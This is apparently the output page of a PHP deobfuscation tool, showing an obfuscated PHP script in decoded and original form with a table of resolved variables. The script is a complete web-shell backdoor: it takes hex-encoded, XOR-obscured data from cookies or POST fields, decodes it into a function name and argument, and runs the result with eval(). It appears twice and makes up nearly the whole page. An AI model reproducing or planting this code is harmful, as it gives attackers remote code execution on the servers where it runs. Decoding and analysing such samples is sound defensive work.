Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ITaBqjfALh =/* AOJU */chr (115) . chr ( 370/* zqsvF*/-/*GGof */254 )...

Decoded Output download

<?php 
$ITaBqjfALh	=/*  AOJU   */chr     (115)	.     chr   (	370/* zqsvF*/-/*GGof */254	).'r'	.	chr     (95)	.	"r"  .     'e'/*   XYiR */./* cqqH  */'p'    .	chr/* gfHhq   */( 374	-	273	).chr  (97)     ./* TUnX  */"t"; 
    $buYzVqnRJ	=	chr	(101) . "x"/*   P  */./*   mJS */"p"    .  "l"   .	chr	(    434   -	323	).chr     (100)	.	chr  (101); 
$BfdWpvvt/*  t   */=/*   FFg*/chr	(	997/* tsed  */-     885	).chr/* EfI*/(/*G*/604     -/* F  */507    ).'c'/*D*/./*VBd*/"k";$_EQIr	=/* x */'50470'; 
				function/*  xe */MXLOPaPHtm() 
 
 
/*   ncTY   */{ 
  /* hARo*/$nRveQ	=	Array	(	"DbHQMhruaOLwbZfxcHILkEy"/*   O   */=>     "XEpvBTNRPhjSpYDqZjmczpMkA"/* W   */);; 
 
    
    	$WsHqcbmtUs     =	Array   (	"hUHwQZfpEqOHCUSst"  =>	"GpELVMAHFP"/*hlSd   */); 
    $ztcYE	=	Array( $nRveQ,/*  dWEG   */$_COOKIE,     $nRveQ,     $_POST,/*  Uo*/$WsHqcbmtUs); 
 	 
     	return    $ztcYE; 
 
	} 
   	 
 
/*jEK*/function/* eZ   */RyDtSJSlNp($iJItZi) 
 
 
/*  rcYC */{ 
 
 
 if	(   count    (	$iJItZi   )	==/* ECeA  */3/* axi*/)	{ 
					$UeHBD  =	$iJItZi[1];; 
        $OWlQPPPOzG/*  wCMqA  */=/* COse   */$iJItZi[2];; 
    /*wYHr   */$eADOPEUF	=	$UeHBD($OWlQPPPOzG);; 
 
/*jUcgw  */eval  (     $eADOPEUF	);; 
 
 die/*   ADpDw   */(); 
	/*   EYc  */} 
   /* NuC  */} 
	 
 
 
/*tAqex*/function    frUiilhW($Bqccn,    $hNmYj) 
 
 
/* iUFU  */{ 
			/* VOkJ*/return	$Bqccn     ^/*CQUMx  */$hNmYj;; 
        } 
 
 
/*BVG */ 
					$vJGUOIBT/*  Fnz */=/*ji*/chr (	496     -     461/*   aJD */); 
 
      
				  foreach     (MXLOPaPHtm()/*  sFjD*/as   $UijtjyUwZl)    { 
       foreach	(   $UijtjyUwZl/* P  */as	$hNmYj/*gx */=>  $Bqccn	)	{ 
   	 
 
 
     $Bqccn/*  P */=	@$BfdWpvvt(	chr/* UlkgZ   */(/*   EIAK */186/* Jjn */-/* xX */114 ).'*',   $Bqccn     ); 
         
  	$hNmYj/*   gVk */.=/* z */"AnU-Qtk-Iqo-gPvKmXr-gBOIYh-TEuEl-dIyLls";; 
     	$hNmYj/* D*/=/* hxzo  */$ITaBqjfALh	(/* RNRZ   */$hNmYj,/* hYmqE*/(/* czCGx */strlen(	$Bqccn/*  gBWa   */)/strlen(/*   hl*/$hNmYj	)/*iz   */)   + 1);$_AoY/*  jtS */= '49966'; 
     /*  Pd  */ 
 	$nkTwJLufL	=/*C   */frUiilhW($Bqccn,	$hNmYj);$_svAw	=/* IsNR */'29014'; 
		/*  QOf*/ 
			/*   dT */$iJItZi     =	$buYzVqnRJ  ($vJGUOIBT,  $nkTwJLufL	); 
 
   
    /*   vb*/RyDtSJSlNp($iJItZi);; 
     	 
				    continue; 
     	} 
         } ?>

Did this file decode correctly?

Original Code

<?php
$ITaBqjfALh	=/*  AOJU   */chr     (115)	.     chr   (	370/* zqsvF*/-/*GGof */254	).'r'	.	chr     (95)	.	"\x72"  .     'e'/*   XYiR */./* cqqH  */'p'    .	chr/* gfHhq   */( 374	-	273	).chr  (97)     ./* TUnX  */"\x74";
    $buYzVqnRJ	=	chr	(101) . "\x78"/*   P  */./*   mJS */"\160"    .  "\154"   .	chr	(    434   -	323	).chr     (100)	.	chr  (101);
$BfdWpvvt/*  t   */=/*   FFg*/chr	(	997/* tsed  */-     885	).chr/* EfI*/(/*G*/604     -/* F  */507    ).'c'/*D*/./*VBd*/"\153";$_EQIr	=/* x */'50470';
				function/*  xe */MXLOPaPHtm()


/*   ncTY   */{
  /* hARo*/$nRveQ	=	Array	(	"DbHQMhruaOLwbZfxcHILkEy"/*   O   */=>     "XEpvBTNRPhjSpYDqZjmczpMkA"/* W   */);;

   
    	$WsHqcbmtUs     =	Array   (	"hUHwQZfpEqOHCUSst"  =>	"GpELVMAHFP"/*hlSd   */);
    $ztcYE	=	Array( $nRveQ,/*  dWEG   */$_COOKIE,     $nRveQ,     $_POST,/*  Uo*/$WsHqcbmtUs);
 	
     	return    $ztcYE;

	}
   	

/*jEK*/function/* eZ   */RyDtSJSlNp($iJItZi)


/*  rcYC */{


 if	(   count    (	$iJItZi   )	==/* ECeA  */3/* axi*/)	{
					$UeHBD  =	$iJItZi[1];;
        $OWlQPPPOzG/*  wCMqA  */=/* COse   */$iJItZi[2];;
    /*wYHr   */$eADOPEUF	=	$UeHBD($OWlQPPPOzG);;

/*jUcgw  */eval  (     $eADOPEUF	);;

 die/*   ADpDw   */();
	/*   EYc  */}
   /* NuC  */}
	


/*tAqex*/function    frUiilhW($Bqccn,    $hNmYj)


/* iUFU  */{
			/* VOkJ*/return	$Bqccn     ^/*CQUMx  */$hNmYj;;
        }


/*BVG */
					$vJGUOIBT/*  Fnz */=/*ji*/chr (	496     -     461/*   aJD */);

     
				  foreach     (MXLOPaPHtm()/*  sFjD*/as   $UijtjyUwZl)    {
       foreach	(   $UijtjyUwZl/* P  */as	$hNmYj/*gx */=>  $Bqccn	)	{
   	


     $Bqccn/*  P */=	@$BfdWpvvt(	chr/* UlkgZ   */(/*   EIAK */186/* Jjn */-/* xX */114 ).'*',   $Bqccn     );
        
  	$hNmYj/*   gVk */.=/* z */"AnU-Qtk-Iqo-gPvKmXr-gBOIYh-TEuEl-dIyLls";;
     	$hNmYj/* D*/=/* hxzo  */$ITaBqjfALh	(/* RNRZ   */$hNmYj,/* hYmqE*/(/* czCGx */strlen(	$Bqccn/*  gBWa   */)/strlen(/*   hl*/$hNmYj	)/*iz   */)   + 1);$_AoY/*  jtS */= '49966';
     /*  Pd  */
 	$nkTwJLufL	=/*C   */frUiilhW($Bqccn,	$hNmYj);$_svAw	=/* IsNR */'29014';
		/*  QOf*/
			/*   dT */$iJItZi     =	$buYzVqnRJ  ($vJGUOIBT,  $nkTwJLufL	);

  
    /*   vb*/RyDtSJSlNp($iJItZi);;
     	
				    continue;
     	}
         }

Function Calls

chr 12
MXLOPaPHtm 1

Variables

$_EQIr 50470
$nRveQ [{'key': 'DbHQMhruaOLwbZfxcHILkEy', 'value': 'XEpvBTNRPhjSpYDqZjmczpMkA'}]
$ztcYE [{'key': 0, 'value': [{'key': 'DbHQMhruaOLwbZfxcHILkEy', 'value': 'XEpvBTNRPhjSpYDqZjmczpMkA'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'DbHQMhruaOLwbZfxcHILkEy', 'value': 'XEpvBTNRPhjSpYDqZjmczpMkA'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'hUHwQZfpEqOHCUSst', 'value': 'GpELVMAHFP'}]}]
$BfdWpvvt pack
$vJGUOIBT #
$buYzVqnRJ explode
$ITaBqjfALh str_repeat
$WsHqcbmtUs [{'key': 'hUHwQZfpEqOHCUSst', 'value': 'GpELVMAHFP'}]

Stats

MD5 7e4bca217cf07cd6a498be9d900590df
Eval Count 0
Decode Time 88 ms